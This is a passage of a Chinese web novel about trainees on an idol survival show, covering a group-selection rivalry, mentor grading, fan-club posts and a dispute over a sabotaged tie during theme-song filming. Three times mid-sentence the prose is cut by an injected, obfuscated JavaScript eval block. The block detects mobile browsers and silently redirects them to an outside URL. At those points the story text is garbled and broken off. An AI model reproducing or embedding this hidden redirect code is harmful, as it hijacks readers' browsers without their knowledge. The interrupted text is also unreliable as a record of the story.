另外六组的争夺便平和多了,既没有蓝翼周的意外,也没有像傅寻砚一样脱颖而出惊掉人下巴的选手。 不过最后还是有人有骚操作。 “我们也选《风啊,又是一夜雨》。” 当邵若舟出声时,所有人既猜疑又理解,唯独与傅寻砚交好的几个人皱着眉头瞪了邵若舟他们组一眼。 邵若舟顶着压力差点想把话撤回去,可身后周恒宇的存在感又那么强,让他不得不坚持下去。 说来他们的选择也没错,选一组最差的人作为对手能最大程度保证他们得第一。另外,他们组也不是没人能唱,虽然三个A班的都是舞担,可剩下两个B班和一个C班的唱歌还不错。 是周恒宇提议的。 “你们听完一圈有喜欢的歌吗?” “嘶,按照规律来说,选《热血战歌》这种炸的歌曲应该会有利一些。” 周恒宇笑着看了说话的人一眼,否定了他的想法:“不,最吸睛的歌应该是《风啊》。” “啊?”众人都不解。 周恒宇捂住麦,快速解答了这个问题:“不是因为歌本身,而是因为……” “傅寻砚。” 这下大家都明白了。 没错,傅寻砚现在可是热搜第一,如果他的事情被石锤了,一来与他PK时,现场的人出于厌恶傅寻砚会投票给他们组。二来,哪怕只是表演的胜利,也会被在事后夸赞成正义的制裁。更重要的是,如果傅寻砚真的从节目下车,他们组的舞台会被剪辑得很烂甚至完全消失。 那么作为同一首歌的另一组,他们在赛场外的收益也绝对不小。 其他人都被说动,果断地在他们的轮次选择了傅寻砚一组。 “请问邵若舟组为什么要选择傅寻砚呢?” 邵若舟早就准备好回答:“因为我认为傅寻砚很强,所以不想在节目留下遗憾。” 可是这才一公,什么遗憾不遗憾的,其他练习生纷纷瘪嘴——这意思不就是暗讽傅寻砚大概很快就会离开节目吗? “那么傅寻砚呢?” 傅寻砚站在平地上,比台阶后的队友矮了许多,可莫名其妙的,所有人都觉得他身形高大极了,像是石刻的巨人,岿然不动。 漂亮的青年举着话筒,姿态慵懒,没有半分被挑衅的胆怯,只是张开薄唇淡淡回应:“嗯,看来即便这个不留遗憾换来的是被打败的结局,若舟也不会难过吧,这么有勇气?佩服了。” 好阴阳怪气……其他练习生暗暗惊叹,刚开始就觉得傅寻砚不好惹,现在看来确实如此。 等回到宿舍,饶是傅寻砚也觉得精神不济。他一下子躺倒在床上,任不算厚的被子包裹住自己,一手搭上了额头。 真是没想到啊,本来重来一次打算每一步都踏得更稳,却反而因为种种意外波澜起伏。 过去的伤疤被揭开,被不怀好意的人针对,站在风口浪尖去回应,每一件都是傅寻砚其实没那么愿意去做的事情。 可又怎样呢?被子里的青年冷笑一声,那些苦难曾经存在,永远不会因为他以何种态度对待而消灭或重来。 坦然接受,郑重面对,这是傅寻砚唯一可以做到的事情。 正想着事情,一双手猝不及防合上他的额头。傅寻砚睁眼,是白闻及。 白闻及有点近视,所以回来便将眼镜戴上了,更添一分书卷气。他若无其事收回手:“最近温差大,看看你有没有发烧。” 傅寻砚坐起身,达裴和沈迟也回来了,一同看向他。 “放心吧。”傅寻砚微微舒了口气,“虽然这两天事情很多,但我想并没有影响我的健康。” “你这也是够多灾多难的。”达裴甩下衣服,光着膀子在宿舍晃,他大概有衣服过敏症,而其他舍友也已经习惯了。 “傅哥,那起诉的事情怎么样了,还有调查结果什么的,能赶在一公前出来吗?”沈迟有些担心,手指不自觉抠着裤缝。 傅寻砚看他那担忧的样子,一把薅过他的脑袋夹在胳膊底下,惹得他惊叫两声:“哥才是大人,你操心个什么劲,放心,清者自清,但我也不会让人欺负到头上。” “证据很充足,而且这件事热度这么高,立案应该很快,别说到一公了,这两天就会有进展的。” “那就好。”沈迟放心了,转而扒着傅寻砚的肩膀要挣脱他的钳制,“啊啊啊傅哥放开我,我可不是小孩子。” “你不是谁是。”趁机把沈迟的脑袋抓成鸡窝头,傅寻砚露出了这两天来最轻松的笑容,“小两岁就是小一辈子。” “这话说的……”达裴摸了摸下巴,“怪浪漫勒,还能扯上一辈子。” 白闻及也笑了,一边收拾着被达裴横冲直撞搞乱踢乱的鞋子,一边忍不住强迫症发作帮忙把衣服扔进脏衣篓。 ** “我滴老天鹅。”女导师蒋翩翩捂着脑袋一脸痛苦,“到底谁提出来的先看F班,现在让我唱这首歌,我都找不着调了。” “嗯,眼睛也受到了荼毒,麻烦我的助理请把我的眼敷拿来,我要缓一会。”rap导师Bigland仰倒,长叹一口气,连小肚子都忘了遮,起起伏伏。 姜苏林和欧若也疲倦地揉着太阳穴,另一个H国归来的年轻男偶像章曲长长叹了口气。 “主要是态度太不认真了。” “是啊,即便能力不到家,至少要表现积极态度吧,身为一个偶像,练了五天的歌上台了还是和木头一样杵在台上一动不能动算几个意思?” 姜苏林点开A班:“先舒缓一下心情?” “好!”其他人纷纷赞同。 结果看完之后大家的表情反而更加严肃了。 “是我的错觉吗?我怎么,感觉他们都没有光了?”Bigland无语,“里头倒是有几个做的不错的,比如旻海、叶莱和周恒宇,但是感觉还是机械表演,没有生动活泼的吸引力。” 欧若点头:“其实尹星蘅不错,唱的也好,就是这个舞蹈确实还要进步。” “总之就是都有点瑕疵,且最大的问 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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欧若仍然很担心,虽然傅寻砚之前就唱得不错,但那只是循规蹈矩,他的气质真的能满足这首歌所要的青春吗? 音乐声起,鼓点咚咚敲着人心,却并不厚重,反而活泼跳跃。 “我飞翔,因为我有翅膀 我下潜,因为我要去看海洋的风光 世界是自由的,我带着理想奔跑 跑到世界尽头,闯入新世纪” 青年改变了声线,让高音变得更通透,哪怕只是最简陋的录音设备,也能听得出他的头腔共鸣。 像是使了什么小魔法,明明他平时说话懒懒的,此刻却充分传递了那样热血、充满希望的情绪。 抬手,折叠,从胸前划过后又高举,他眸光闪闪,将那个单纯抱着梦想直冲的热血笨蛋演绎得淋漓尽致。 每一个动作都十分标准,在标准之外又很明显有他自己的节奏,那种游刃有余是可以被观众感知到的。 那样积极向上的、快乐的情绪也是能被传递给大家的。 导师们也呆住了,眼睛里只有屏幕的光在不断闪烁,直到傅寻砚表演完后鞠了一躬,他们才缓缓回身。 屏幕里的青年完全没有任何负面情绪,唱歌时他是笑着的,虽然没有那么明媚,可充满自信,让人相信他能做到一切。 他站在那里微微喘气,面庞因为舞蹈而微红了些。 眼睛亮的可怕,充满希冀,可……又让人感到浓重的悲伤。 歌曲传达出的积极情绪虽然上头,但一旦大家联想到发生在他身上的事情,就立马看懂了那双眼睛背后的悲伤,浓重的,仿佛空气一样将人包裹的悲伤。 故事还在诉说着,那个歌里满怀希望的青年还是失败了,仿佛是他既定的宿命。他唱着进击,唱着永不放弃,可他已然快要被吞没。 蒋翩翩吸了吸鼻子,责怪自己太情绪化喜欢乱想,结果一回头Bigland已经泪眼汪汪。连大前辈姜苏林和欧若都有些眼眶湿润。 Bigland的性格本就直接,当即擦着眼泪和节目组对话:“咱们就没什么办法替他说话吗,这也太惨了……” 节目组连忙双手打叉制止他,好在这部分是录播,这些话他们之后都会剪掉。 欧若叹了口气:“先不管这些,我们就按照他的表现客观评价。他的演唱水平,我认为怎么都不可能不是A,不仅是最稳的,也是最有感情的。” 其他人也纷纷给出了A。 “那么结果就是这样了。”姜苏林看向节目组,“给A的话没问题吧?还是你们有其他安排。” 导演摇头。 11.第十一日 傅寻砚后援会 【姐姐们有最新消息吗?我真的很担心寻宝的状态啊,看那个澄清真的很心疼】 【不太好的消息,一公的时候应该是被排挤了,据说一直没被选择,直到姜苏林导师抽签抽到他自己选人】 【靠,这些练习生真的别太恨寻宝】 【?楼上粉丝冷静一下,雨姐创立后援会的时候就说过,寻宝一直让我们不要网暴,所以大家尽量都理智一些,不要动不动就极端发言】 【是啊,我博爱粉待了好几家后援会,这两天觉得这里真的很清流了——这件事傅寻砚是受害者但大家都很善良,讲话也很客观,可隔壁那几家后援会真的……】 【好好好,别的不谈,我就问问同公司的江瀚呢?之前不是微博很多合照什么的卖cp吧?这时候没声音了?还有和寻宝同宿舍的三个人,不是说之前拍到一起去食堂,现在也潜水了?】 【呃不要那么激动,据说他们确实替寻宝着急来着,但他们倒霉啊,没被抽到选人并且早早就被选到其他队伍了,没办法帮寻宝】 【姐妹们,我说句话,虽然我们要贯彻寻宝说的话做理智的人,但该捍卫的权利也不能放弃,别当石佛。到时候大家真的好好看节目吧,那些有证据排挤寻宝的,不能让他们混过去】 【对,还有每天去林广峰底下让他给更多证据的小组也要继续,他越当缩头乌龟,大家才会越相信寻宝】 【和公司对接的组也要跟进,时刻保持更新!】 ** “傅寻砚练习生,请问你觉得你是什么等级呢?”姜苏林拿着信封的一角不愿将之交给傅寻砚,狡猾地眨了眨眼。 傅寻砚看着这位前辈偶尔作怪的活泼,直到他是在给他更多镜头。 “我认为我是A,如果不是A的话,一定是pd眼光不好,嗯,我坚信。” 傅寻砚的话在别人嘴里说出来是自大,可在傅寻砚身上就是完全的自信,而且带了些他个人特色的坏,反而让过度雕塑的漂亮面孔变得生机勃勃。 “哇,你这么说话,质疑我的审美?”姜苏林故作伤心捂住心口。 傅寻砚耸了耸肩:“如果给了我A的话,就不会有这个问题啊,不是吗pd。” 一大一小两只狐狸在上头打着机锋,看上去倒是分外和谐。 “希望我的审美不会倒塌。”姜苏林双手合十祈祷。 看着傅寻砚下台,他的眸光微暗。说实话,他本来并不需要对傅寻砚做出任何关照,可是……不好意思,他真的见不得这样的好苗子埋没。 当然,更不希望这样努力的人,被人泼了脏水。 下台打开信封,果然是A,达裴等人纷纷围过来将他拢在中间。 江瀚、叶莱、达裴和旻海早就确定为A。 沈迟被傅寻砚带着练了一天,舞蹈上也有了进步,一举上升到了B班,白闻及因为唱歌吃了亏,只升入C班。 倒是尹星蘅,意外的从A班跌入B班。 他似乎对此早有预料,靠着傅寻砚的手臂轻笑:“没关系啦,这个等级的话应该才和我相配,所以大家不要安慰我。” “不,不是安慰。你已经进步很多了,而且这并不是最后一次机会,以后每一次跳起这首歌,你都还会进步的,你会是A。”傅寻砚肯定地说着,吹走了尹星蘅那隐隐的一点失落。 他叹了口气,依旧笑着,但将头埋在傅寻砚脖颈:“真是的,还是被你看出来了,是有点小小的遗憾啦。” 他知道自己的难过来自何处。曾经获得过万众瞩目的他,自节目结束后潜心学习,本以为努力能有收获,但一到舞台上检验,反而获得了不好的结果。 不可避免会有所动摇。 更可怕的是,每一个人都在安慰他,没关系啊你歌唱得好,虽然你舞跳的不好,但B等级还不错啦。言下之意,便是再说他确实不配A。 傅寻砚也说他现在不配啊。 可最重要的是,傅寻砚说他会成为A的。 一种以坦诚为基调的对未来的肯定。 尹星蘅趴在傅寻砚的肩头久久不起,直到达裴将他揪着脖子拎起来。 “喂喂喂,我也是哥,靠靠我呗。” 两双眼睛对上,狮子的傲慢和豹子的警惕在空中交汇,转眼那种紧绷又消散,伴随着尹星蘅直接揽住傅寻砚的动作。 他笑起来,嘴巴咧得大大的,“不要不要,你臭臭的,傅寻砚香香的。” 达裴假装来打他,尹星蘅连连朝傅寻砚背后躲去。 “你们什么时候这么熟的?”社交困难户白闻及抱着手臂不解,冷峻的眼睛在几人间晃来晃去,“明明好像没怎么说过话吧?” 于是傅寻砚周围站着的一群人互相看了看,说起来——江瀚、旻海、达裴、沈迟、尹星蘅,甚至加上一个始终站得不近不远的叶莱确实没怎么实实在在交流过,但很神奇的是,因为(自以为)和傅寻砚关系比较好,所以一见面就有种亲近感。 傅寻砚也顺着白闻及的话想了想,上辈子这几个人的关系说好不好说坏不坏,节目一路而去波折太多,每个人都分身乏术,火花味比友情浓,这也是观众后期抛弃节目的一大理由。 “都是男人嘛,哪里需要那些虚的。”江瀚憨憨地笑着摸头。 等大家不得不散去,叶莱遥遥朝傅寻砚看了一眼,傅寻砚对上他的视线,只见他朝自己点点头。目光里是一种警惕——并不是恶意的那种,而是将他视为对手的警惕。 哟。傅寻砚挑眉,没想到叶莱还能肯定他的实力,这可真是见鬼了。毕竟叶莱不论从前还是现在,都是外表清冷但内心极其骄傲的一只小孔雀。 ** 第二天一大早,主题曲便响彻了整个节目基地。 练习生们不得不顶着寒意从被窝里爬出来。傅寻砚也有点赖床,所以当白闻及叫他时,他模模糊糊一巴掌招呼了过去。 然后在半梦半醒间,一种莫名的寒意袭击了他,睁大眼睛就看见白闻及那张俏脸上靠近下巴的地方红了一块。 “给你三秒钟,不然……” “抱歉!”傅寻砚一骨碌爬起,抱着被子大跨步推了推对床的沈迟。 “小迟,起了起了,再不起白闻及这个阴湿鬼要来咬人了。” 白闻及的脑袋上似乎具象化冒出了一个井字。 沈迟嘟囔了几句,完全没有意识到宿舍的摄像机始终开着,顺着傅寻砚伸来的手轻柔地蹭着,这还不够,两秒过后便将傅寻砚的手垫在颈窝里又昏过去了。 “啧。”白闻及推了推眼镜,毫不客气地用冰冷的手贴住沈迟的脸。 “啊!” “好了,醒了,你去洗漱吧。”白闻及成功从沈迟那里把傅寻砚“扯”了下来。 达裴在头顶睡得四仰八叉,白闻及也没客气,几下叫不醒后直接给掐醒,达裴一嗓子尖叫喊劈,震得隔壁宿舍纷纷问怎么了。 “嘤嘤嘤你太无情了,居然一点都不管我,你的心头只有沈迟小宝贝吗?” 傅寻砚正在刷牙,达裴来到他身后用水蘸着在眼下画了两条泪痕,又把手臂展示给他看。 “看看看,都红了,啊,白闻及他真的好暴力一男的,呜呜呜求安慰。” 傅寻砚推开他的头,嘴里还有泡沫呢,“别闹,快点先换衣服,我们时间不多。” 虽然一公分组已经结束,但傅寻砚还没怎么和白镇他们相处过,顶多是比之前熟悉了些。当然,在上一辈子的赛程里傅寻砚很巧也没和这几个合作过。 当前最急的日程是主题曲录制。 主题曲录制结束后的周五,节目第一二期即所有练习生的初舞台会被放出,自下周一开始,节目会进入半直播模式。 所有人的精神都因此紧张起来,不过也并非完全因为后边的直播,更重要的,是选C位。 这时候的C位,指的是主题曲C位,在第一首真正属于他们的歌的MV中,C位效应是无可比拟的。 根据分析,历届C位基本都能成功出道,尽管他们不是实力最好或颜值最佳,甚至在后期排名下降,但首C似乎有种玄学,能保护着人安稳待在出道组。 不过眼下少年们想法没那么多,看着华丽的演播厅、错落的升降台与漂亮的聚光灯,他们完全目眩神迷。 “我去,今年这个打光也太好看了吧?终于不是暗暗蓝了。” “是啊,上一届的光暗的没人能被看清脸。” “你们知道今年的制服是啥样吗?” “深蓝色学院装赔卡其色裤子,据说每套都五百呢,跟我的春夏秋冬四季校服一个价了。” “噗嗤,虽然五百也不贵,但一想到不是那种街头十几块钱的破烂,瞬间又安心很多了。” 尹星蘅站累了,又把他的头搁在傅寻砚肩膀上,湿热的呼吸穿过傅寻砚的发丝。傅寻砚没把他推开,只是有些感慨这个上辈子看起来稳稳重重的小孩莫名其妙有些黏人。 “傅哥,我这票绝对投给你,感觉把你投到那个位置,能够提升外界对我们颜值水平的整体评价。”尹星蘅指了指主舞台那里,毫不顾忌身边还有叶莱他们。 沈迟不知道从哪里冒了出来,贴着傅寻砚另一边肩膀轻声“我也是”。 叶莱默默地盯着这三个家伙,身后的达裴拍了拍他的肩膀:“呀莱莱,看来你俘获年下的本事不如傅寻砚,请再接再厉。” 叶莱狠狠瞪了他一眼,因为达裴喊了他的泥塑粉给他的代号,半晌憋了口气似的吐出来一句:“你呢?你会投给谁?你不是年下吧?” 达裴眉毛一挑,瞬间身形矮了下来,一步蹿到傅寻砚身后贴着他的背挤入尹星蘅和沈迟之间:“嘤嘤嘤我当然选傅寻砚哥哥啦,傅寻砚哥哥辣么帅!” 他的耍宝还没结束,胸前平坦的背移开,连带着温度也离开,然后冰冷的手指戳到了额头。 达裴抬眼,撞入含笑的眼眸。 “你们少给我拉仇恨。” 达裴没有立即回话,在旁观者眼里这有点怪,他就像短暂失去意识一样愣了两秒,才又嬉皮笑脸地勾住傅寻砚的肩膀。 “嘤嘤嘤你好偏心,明明尹星蘅和沈迟都这样,就说我就说我。” 傅寻砚看着几个人在旁边吵吵闹闹逗自己开心,心里并无阴霾。 他知道,按理来说这一次自己取得C位的概率很大——如果不是因为舆论事件的话。 但没关系,他对C位本就没有那么强烈的执念,他的执念,仅仅在于“因为付出,所以想要回报”而已,至于回报有多少,又以什么样的形式出现在他面前,都没关 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你要Xl号是吗?” “是的,麻烦了谢谢。” 超级礼貌的青年用青葱的指从她手里接过衣服,眼睛里无悲无喜,似乎并不为刚刚的投票而难过。 呜呜呜——cody姐姐在内心紧咬手绢,也太可怜了吧宝宝,明明都不是你的错,他们居然还要排挤你。 “嗯?”傅寻砚留意到cody有些怪异扭曲的目光,“姐姐,你得把领带给我。” “领带?啊对,领带。”cody从美色和心疼中挣脱出来,连忙翻找小背包,“我们一共有三种领带选,你要哪个?” 101位练习生不可能完全穿的一模一样,那样就太无趣了,所以节目组安排在里边的白衬衫和领带上有些改变,不过谁穿哪件戴哪个没有安排,随意选择。 傅寻砚选了最常规的尖领白衬衫,没有任何花样。他接过cody的包,随意拿了一条最普通的格子领带出来。 “就这个吧。” “这个吗?会不会太简单,要不要再选选?”cody挤眉弄眼,恨不得把包里唯一一条丝绸带子塞到他手上。 傅寻砚停顿了一下,细细看了看那条散发着与众不同柔光的领带,走了几步,微微侧身后从转角伸手揽过来一个人。 “诶诶,你干嘛?”叶莱还在换衣服,被傅寻砚一把扯过有些惊讶。 傅寻砚靠近他,将蓝色的绸带套上了叶莱的领口,然后手指翻动,很快打好了一个漂亮的结,由于不太满意,还调整了好几次,终于将它扯到一个有点松散的程度。 镜子里的叶莱俊秀英气,是所有秀芬最钟爱的那类干净少年款,突然增加的绸带让他的“规矩”中多了一分肆意生长的生命力,让人眼前一亮。 “这个……”叶莱目光震颤,“不是,你……” “好看吗?” “好看是好看,但是……” 傅寻砚没让他说下去,拍了拍他的肩便转头自己去系领带:“没什么但是,C位就是要选最贵的。” “但愿我眼光没错,这是最贵的吧姐姐?” Cody还沉浸在刚刚发生的一连串画面里,这时候才反应过来:“是,是最贵的。” 傅寻砚笑了笑,镜中的青年眉眼生花,精致不似真人。 叶莱嗫嚅两下,看着他的背影走远。 “哥,你现在心情又好了?”一旁另一名A班练习生凑到叶莱身边,揶揄道:“我就说傅寻砚不会有芥蒂的嘛,他看起来一点也不在乎C位。” “再说了,哥你也是凭实力拿的,干嘛单独对他那么愧疚啊?” 叶莱没有解释。他自己深知,单论主题曲,他的表现完全没有傅寻砚好,他能拿到C位,不过是因为傅寻砚的那起荒谬事件而已。 但是……傅寻砚刚刚的举动,让他心里的烦躁全部平息。 傅寻砚回头打算将领带系上,拿到手中却吓了一跳。两分钟前还干干净净的深蓝色领带上不知在哪蹭到了一大片污渍。 凑到鼻子底下闻了闻,似乎是葡萄汁。 虽然洗一洗大概率能恢复如初,但现在恐怕并没有这个时间留给他处理。 “所有练习生快点上场,要开始拍摄了。” 12.第十二日 “哇哦你选的短款吗?很衬你。” “还好啦,毕竟我脸短,不适合长款。” “今年还挺人性,居然给我们三种选——但你们看到叶莱了吗?他和我们的完全不一样。” “可以理解,毕竟他是C位嘛。” 练习生三三两两站在舞台上交谈着,离正式拍摄还有十分钟,大家有些百无聊赖。然而正在这时,一抹白色闯入眼帘。 那人无比轻松的一个跨步,便从舞台底下站了上来,带着独有的洒脱和利落。 “我艹!是他!” “傅寻砚剪头发了?没想到大背头也很合适啊!” 抬眼间,青年的眉目完全清晰地露了出来。一个下午的时间足够cody帮他捣鼓出一个适合他的发型来。 鸦色的发沉得浓郁,刘海被拨到后方后完全凸显了傅寻砚的五官优势,黑与白的对比强烈,让人一瞬间便想到水墨画,写意洒脱,见之忘俗。 卷发的傅寻砚是特别的,背头的他更不至于埋没——甚至比起卷发时略微遮住眉眼的沉默,将脸完全露出的他有了一份明亮的锐意。 他的白衬衫松了一颗扣子,明明大家的衬衣都差不多,但穿在傅寻砚身上便格外合适。 无聊地用脚摩挲着光滑可鉴的地板,叶莱撩了撩刘海,目视着周遭刺眼的灯光一盏盏亮起又暗下。 就和过去在H国的数百个日夜一样。 国内的舞台有什么区别呢?叶莱说不上来。《新世纪》是曾经《偶像计划》的改版,但历经了四年的暂停,不论财力、名气亦或者其他都不可同日而语。 好在导演人还行,至少把钱都花在了舞台上,所以不论是服装亦或表演环境都还可以。 哈哈——叶莱低着头无谓地冷笑一声——有时候他也不知道自己在追求什么,究竟是成名,还是一个完美的表演。 当着镜头装清高谁不会,但灯光暗下后谁又真的内心纯粹?那些振振有词的“我只是为了舞台”的人,大多早就有了名气。 有了自然不必再做宣言。 叶莱眯了眯眼,心底空荡得可怕。随着MV拍摄在即,这种空洞感愈发裹挟着他,让他全身发冷,连那些淡蓝色的灯光也带上了午夜雪花的冰冷。 在那种茫茫一片中,黑发的人闯入。 他的造型实在简单极了,衬衫是最普通的,外套也不长不短,甚至连胸前的—— “嗯?你的领带呢?” “出了点小状况,节目组这边也没有备用了,导演说直接这样上场也没关系。”傅寻砚并不在意。他的位置被排在后面的角落,尽管同属于A班,但个人镜头甚至不如B班C班的C位,换言之,没人会发现他的领带问题。 当然,直拍会暴露,不过其实直拍是另外单独拍的,到时候随便问谁借一下就好。 “你……” 大脑突然涌上过量的血,使得情绪突然在里头横冲直撞,让人一阵眩晕。叶莱觉得现在的自己失去了控制。 他反复告诉自己,傅寻砚的事情可不关自己。 叶莱是谁?是H团Fever的ace,是苦苦熬过了四年练习生生涯,又有过两年舞台经验的成熟偶像。 他谙熟规则,他不会冲动,他的二十一岁没有热血——他是完美的,是随时可以出售的“商品”。 可是——手攥紧,完美的指甲嵌入掌心……这应该吗? 从第一天到现在,发生在自己眼前的一切真的真实吗? 如果真实,为什么要出现在他眼前呢?叶莱真的不明白——难道可笑的不存在的命运在暗示他做什么吗?不然为什么要一遍又一遍…… 一遍又一遍一遍——地来挑战他的 信仰 青年的眼中兀自燃起熊熊烈火,像是潮湿腐朽的木头被骤然点亮,熏人的烟气氤氲着微妙的火光,顷刻间朝着傅寻砚喷来。 傅寻砚讷讷,还没张口,手腕被狠力钳制住。 “你是包子吗?怎么谁都能拿捏你?” 叶莱脸上的表情第一次如此生动,五官似乎都移了位,十分像是鬼脸。傅寻砚觉得,或许是叶莱太久没有如此情绪外露,甚至忘记了该怎样正确地表达怒意。 说实话,不好看,完全不符合粉丝心目中柳月清风的形象,但傅寻砚还是觉得,叶莱第一次不像假人,而是变成了一个,真真实实的,生动的活着的人。 在一众练习生的惊讶和轻呼中,叶莱拽着傅寻砚就往节目组那里去。 “副导,傅寻砚的领带到底怎么回事呢?101个人只有傅寻砚的领带出了问题,这不应该吧?” 四十多岁的男副导露出一言难尽的表情,顾着叶莱是赛前人气第一而克制了语气:“是不应该,但问题并不是出在我们节目组管理人员身上——你们练习生之间的事情,我们不好随意插手吧?” 叶莱多聪明的人,喉头涩意涌上了,哽咽:“您的意思,是,是其他练习生干的?” 副导瘪了瘪嘴:“我可没说。” “好。”眸光暗下,那团火红变成了深寂的愤恨。叶莱吸了口气,“可以给监控吗?我们自己查。” 副导露出不耐烦的表情,觑了一眼叶莱。 “没关系的。”旁边久久未出声的当事人终于往前一步,挡在了叶莱和副导之间。 副导演安静看过来,尽管傅寻砚的造型格外熟男,但只要他愿意收敛起锐意的气质,站在这里的青年便如玉温润通透,美丽而不刺人。 “再怎么说也是拍摄的事情为重,至于其中的龃龉,我相信在我的澄清出来后,大家会放下对我的误会。” “你!”叶莱在后边拽了一下傅寻砚的衣角,傅寻砚回头,看见那从来没有真情的眼睛里切实地流淌着复杂的情绪,突然有些好笑。 明明自己才是受害人,这家伙怎么比自己还生气? ——所以,他在H国的时候,也遭受过不好的待遇吧? 对于叶莱这样的人而言,只有感同身受才会击溃心防不是吗? 傅寻砚不再容叶莱多言,握着他的肩膀带他从副导眼前撤走,以行动展示了自己的“知趣”。 叶莱被裹挟到角落,愤愤挥开了傅寻砚的手。“砰”的一声,洁白如玉的手背磕碰在墙上,留下深深一道红痕。 叶莱张了张嘴,但道歉到了嘴边又被一种难言的酸涩衔回来吞下。 堵在喉咙口,痒痒的。心也空空的。 傅寻砚觉得自己纯属无妄之灾,摸了摸撞到的地方,一片火热。他垂眸,看着面前的青年。 “这件事和你没关系不是吗?为什么要帮我出头?” 叶莱抬眸,只短短半分钟的沉默,他已经习惯性收敛好情绪,平静下来。然而如镜的湖面后藏着深深的暗潮,傅寻砚看得明白,他在怨恨自己。 “嗤——”果不其然。 就像精神分裂,之前那个冲动为他说话的青年不在,叶莱的脸上出现了他不常有的讥讽,让那双凤眼格外冷酷。 “是啊,我多管闲事了,你就当我发疯好了。” 傅寻砚静静地看着叶莱。 如果他真的像他的表情一样,对自己充满愤怒,那么早该甩下自己走了,还会被自己堵在这? 想到这,傅寻砚忍不住笑了。不管上辈子还是这次,他一直以为叶莱是个成熟到可怕的人,可现在事实打了他一巴掌——叶莱仍然是个孩子,不管他处事怎样稳重。 他的内核,仍然是个孩子。 “你笑什么?”叶莱甩了傅寻砚一眼,下意识抱起双臂以防御。 傅寻砚还在浅笑,这让叶莱的怒气愈发上头,但下一秒,他的怒气便随着对方的话如潮水急退。 “没有,只是觉得,今天好像第一次认识了你。” 叶莱狐疑,他看着面前比他略高些的傅寻砚,对方新的造型在昏暗处充满了压迫感,但因为他在笑,所以反而多了些模糊的说不清道不明的感觉。 “什么第一次……你说什么呢?”说到一半,叶莱像是恢复记忆般想起了刚刚,也就明白了傅寻砚到底是什么意思。 他嗫嚅,垂下头,绯色迅速从脖子处向上蔓延。 “我哪有……” 傅寻砚拍了拍他的肩。 “我并不是说你多管闲事。相反,作为C位你能这样替我说话,我非常感谢,也觉得你是一个很好的人。” “但这件事不是这么处理的,现在要求一个处理结果并不实际。” “为什么?”叶莱问。 “因为……”傅寻砚看向舞台处,蓝色的灯光里几百人来回穿梭。练习生、场务、摄影师…… “因为对于这个舞台而言,每个人,包括我包括你,都像金字塔的一块,区别在于,你或许是尖顶那核心的一块,而我可以是正面的,却也可以是背后的,可以是侧面的。” “如果我出了问题,摄影师只需要调整一个角度即可获得原本想要的完美照片。” “你觉得,明明有以上的方式,却硬要花力气将这块不重要的木头堵上,对于任务紧急的摄影师而言,现实吗?” 叶莱沉默了。其实他该想到的,只是…… 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15137580|164369||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“负责守护金字塔,负责修复金字塔的,负责拍摄金字塔的——没有人会在我要求补上漏洞后感到开心,因为我不仅增加了他们的负担,更是他们失职的见证。” “综上,反映问题的选择对我完全没有好处不是吗?” 叶莱看着傅寻砚,对方的话语说得太过从容,从容到看起来受到损失的人不是他一样。 “那怎么办?你就任由他们把你挪到后面去,挪到侧面去?” 谁知傅寻砚接下来的话却让他不由得一个激灵,叶莱看着傅寻砚微微摇头,嘴角露出一种复杂的,似乎是开心,却又蕴藏着某种难受的笑容。 “真奇怪呢,你虽然出道了两年,但似乎并不能看穿这件事背后的东西。” “你能不能不讲这些玄乎的。”叶莱真的不明白为什么短短五分钟的交谈里,傅寻砚一直在他面前当谜语人,“到底是什么意思?” 谁知傅寻砚只是看了他一眼。 “我觉得,你似乎有些太相信这个节目了。” 有吗?叶莱刚想反驳,但他骤然发现,好像确实如此。他知道节目代表着资本,不会真的善良到守护所有练习生的身心健康,可自从进入节目到现在……自己一直在肯定《新世纪》。 因为他看见,节目虽然穷,可至少花钱在舞台、在选曲上,所以——所以他认为节目整体是积极的,是正直的。 可这种想法真的对吗?叶莱后背出了冷汗。他不知道自己从什么时候开始,掉以轻心了。 这个节目,那个节目,所有的节目,终极目标都不是为了让练习生实现梦想,而是——热度。 追求热度。 投入在舞台本身,只是《新世纪》的一种策略,就像投入在炒作是《前进吧》的一种选择一样。 这一行为背后的动机,并不如他所想,是善良的、体贴的,或至少是正直的。也许,只是一个冰冷无情的策划,一个平衡所有后被提议的方向。 好人办好事,庸人办好事,坏人恰好办了好事——这都是有可能的。 傅寻砚看着叶莱的唇色逐渐苍白,眸光颤动。 “倒也不必这样受打击?”傅寻砚插着兜,姿态闲适,“我也没说背后到底有多黑暗,只是提醒一下你一种可能性而已。” 叶莱怔怔抬脸,依旧觉得有些晕眩,他强迫自己转移了注意力:“那……” “不管如何,先完成舞台。”傅寻砚勾住他的肩膀,将他从黑暗处推到了光芒中。 叶莱回头,看见依旧隐在黑暗中的人,眸光发亮。 “只有你让自己变得更有价值,才不会被摆布——这就是我们当前唯一的解。” 他说得对。叶莱不得不承认,他遥遥看了看忙碌的人群,场记在呼唤着排位置。 叶莱走了过去,瘦削的肩突然变得比以前宽阔。 “啧,感觉画面不是很和谐啊。”总导演抽空来了一趟排练现场,他从前往后以一种极具挑剔感的目光看了一遍队伍,然后停留在傅寻砚这里。 “傅寻砚,你站到右边第二位来。” 